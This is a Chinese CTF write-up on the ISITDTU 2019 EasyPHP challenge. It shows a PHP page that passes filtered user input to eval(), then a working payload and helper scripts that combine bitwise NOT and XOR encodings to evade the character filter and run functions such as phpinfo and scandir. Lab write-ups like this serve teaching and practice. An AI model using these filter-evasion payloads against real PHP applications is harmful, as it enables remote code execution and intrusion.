CTF-WEB: php 取反+^绕过waf[ISITDTU 2019 EasyPHP]

ISITDTU 2019 EasyPHP

示例代码

php 复制代码
<?php  
highlight_file(__FILE__);  
  
$_ = @$_GET['_'];  
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )  
    die('rosé will not do it');  
  
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )  
    die('you are so close, omg');  
  
eval($_);  
?>

构造

php 复制代码
(~%8F%97%8F%96%91%99%90)();

如果你不理解这是为什么,执行以下代码

php 复制代码
<?php  
$a =  urlencode(~'phpinfo();');  
echo $a.'|';  
$a = "(~".urldecode('%8F%97%8F%96%91%99%90').")();";  
echo $a;  
eval($a);  
?>

通过尝试所有排列组合寻找能组成目标的^字符

php 复制代码
<?php  
  
$find_string = "phpinfo";  // 目标字符串  
$allowed = "!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~";  // 允许的字符集  
  
// 初始化三个数组,用于存储匹配的 i、p 和 a$i_array = [];  
$p_array = [];  
$a_array = [];  
  
// 遍历目标字符串中的每个字符  
foreach (str_split($find_string) as $a) {  
    // 将目标字符转换为 ASCII 值  
    $a_ord = ord($a);  
  
    // 遍历允许字符集中的每两个字符组合  
    foreach (str_split($allowed) as $i) {  
        foreach (str_split($allowed) as $p) {  
            // 如果异或操作结果等于目标字符的 ASCII 值,则将 i, p, a 存入对应数组  
            if ((ord($i) ^ ord($p)) == $a_ord) {  
                echo $i . " ^ " . $p . " = " . $a . "\n";  
                // 存储到相应的数组中  
                $i_array[] = $i;  
                $p_array[] = $p;  
                $a_array[] = $a;  
            }  
        }  
    }  
}  
  
// 输出存储的结果  
echo "i_array: " . implode(", ", $i_array) . "\n";  
echo "p_array: " . implode(", ", $p_array) . "\n";  
echo "a_array: " . implode(", ", $a_array) . "\n";  
  
// 按顺序取出字符集中的字符,并打印公式  
echo "Printing formulas:\n";  
foreach (str_split($allowed) as $current_char) {  
    for ($index = 0; $index < count($i_array); $index++) {  
        // 获取 i, p 和 a        $i = $i_array[$index];  
        $p = $p_array[$index];  
        $a = $a_array[$index];  
  
        // 如果公式中的 i 或 p 等于当前字符,就打印公式  
        if ($i === $current_char || $p === $current_char) {  
            echo "$i ^ $p = $a\n";  
        }  
    }  
}  
?>

如果你不理解为什么,执行以下代码

php 复制代码
<?php  
echo urlencode(~'!'). '|';  
echo '0x'.bin2hex(urldecode('%DE')).'|';  
echo urlencode(~'Q'). '|';  
echo '0x'.bin2hex(urldecode('%AE')).'|';  
echo ('!' ^ 'Q').'|';  
echo (~urldecode('%DE') ^ ~urldecode('%AE')).'|';  
echo chr(~0x8b);  
?>
// %DE|0xde|%AE|0xae|p|p|t

如果限制了不同字符数,仍然可继续缩减

php 复制代码
<?php  
// 输入字符串  
$result2_str = 'td_cpna.irs'; // 从..  
$result_str = 'd_cpa.is';   // 寻找替代  
  
// 将字符串转换为整数数组,对每个字符应用 ~ 操作  
$result2 = array_map(function($c) { return ~ord($c); }, str_split($result2_str));  
$result = array_map(function($c) { return ~ord($c); }, str_split($result_str));  
  
// 用于存储结果  
$temp = [];  
  
foreach ($result2 as $d) {  
    // 遍历 $result 中三个元素的组合  
    foreach ($result as $a) {  
        foreach ($result as $b) {  
            foreach ($result as $c) {  
                if (($a ^ $b ^ $c) == $d) {  
                    // 如果 a, b, c, d 都相同,跳过  
                    if ($a == $b && $b == $c && $c == $d) {  
                        continue;  
                    } else {  
                        // 打印匹配的值  
                        printf("~(%s ^ %s ^ %s) = %s\n", urlencode(chr($a)), urlencode(chr($b)), urlencode(chr($c)), urlencode(chr($d)));  
                        printf("~(%s ^ %s ^ %s) = %s\n", chr(~$a), chr(~$b), chr(~$c), chr(~$d));  
  
                        // 如果 d 不在 $temp 中,则添加  
                        if (!in_array($d, $temp)) {  
                            $temp[] = $d;  
                        }  
                    }  
                }  
            }  
        }  
    }  
}  
  
// 输出 temp 数组的长度和内容  
echo "总共唯一值数量: " . count($temp) . "\n";  
echo "唯一的 d 值: ";  
print_r($temp);
php 复制代码
~(%9B ^ %8C ^ %9C) = %8B
~(d ^ s ^ c) = t
~(%9C ^ %9B ^ %8C) = %8B
~(c ^ d ^ s) = t
~(%9C ^ %8C ^ %9B) = %8B
~(c ^ s ^ d) = t
~(%8C ^ %9B ^ %9C) = %8B
~(s ^ d ^ c) = t
~(%8C ^ %9C ^ %9B) = %8B
~(s ^ c ^ d) = t
~(%9B ^ %A0 ^ %A0) = %9B
~(d ^ _ ^ _) = d
~(%9B ^ %9C ^ %9C) = %9B
~(d ^ c ^ c) = d
~(%9B ^ %8F ^ %8F) = %9B
php 复制代码
<?php  
echo ~(urldecode('%8F%8D%96%91%8B%A0%8D'));  
echo "\n";  
echo ~(urldecode('%8C%9C%9E%91%9B%96%8D'));  
echo "\n";  
// 异或三次相等  
echo ~(urldecode('%8F%8D%96%91%8B%A0%8D') ^ urldecode('%8F%8D%96%91%8B%A0%8D') ^ urldecode('%8F%8D%96%91%8B%A0%8D'));  
echo "\n";  
echo ~(urldecode('%8C%9C%9E%91%9B%96%8D') ^ urldecode('%8C%9C%9E%91%9B%96%8D') ^ urldecode('%8C%9C%9E%91%9B%96%8D'));  
echo "\n";  
  
// %8d == %9C ^ %8F ^ %9E  
echo ~(urldecode('%8F%9C%96%91%8B%A0%9C') ^ urldecode('%8F%8F%96%91%8B%A0%8F') ^ urldecode('%8F%9E%96%91%8B%A0%9E'));  
echo "\n";  
echo ~(urldecode('%8C%9C%9E%91%9B%96%9C') ^ urldecode('%8C%9C%9E%91%9B%96%8F') ^ urldecode('%8C%9C%9E%91%9B%96%9E'));  
echo "\n";
复制代码
print_r
scandir
print_r
scandir
print_r
scandir
相关推荐
天行健,君子而铎9 小时前
数据分类分级的范式转换:从规则匹配到场景化高准确率一键部署
网络·数据库·安全
深圳市快瞳科技有限公司13 小时前
宠物门禁端侧AI落地解析:画质检测、活体甄别与离线推理
网络
m0_5474866613 小时前
《信息安全基础》全套PPT课件2026
网络安全·信息安全
hengdonghui14 小时前
Writeup 4 N1BOOK afr_2
ctf·目录穿越
一条泥憨鱼15 小时前
【从0开始学习计算机网络】| ARP 协议:地址解析,ARP 欺骗,链路层寻址
网络·后端·学习·计算机网络
m0_7156744315 小时前
数据分类分级的范式转换:从规则匹配到场景化高准确率一键部署
大数据·网络·人工智能·网络安全
dog25016 小时前
带宽,时延,抖动的不可能三角
网络·tcp/ip
砚凝霜17 小时前
【软考信息安全】第十六章 网络安全风险评估过程与技术方法
网络·安全·web安全
Eloudy17 小时前
MLNX_OFED 的 install.pl 安装流程分析
网络·rdma·roce
对讲机数码科普19 小时前
从电路原理到协议栈:模拟对讲机与数字对讲机的技术内核拆解
运维·网络·架构·软件工程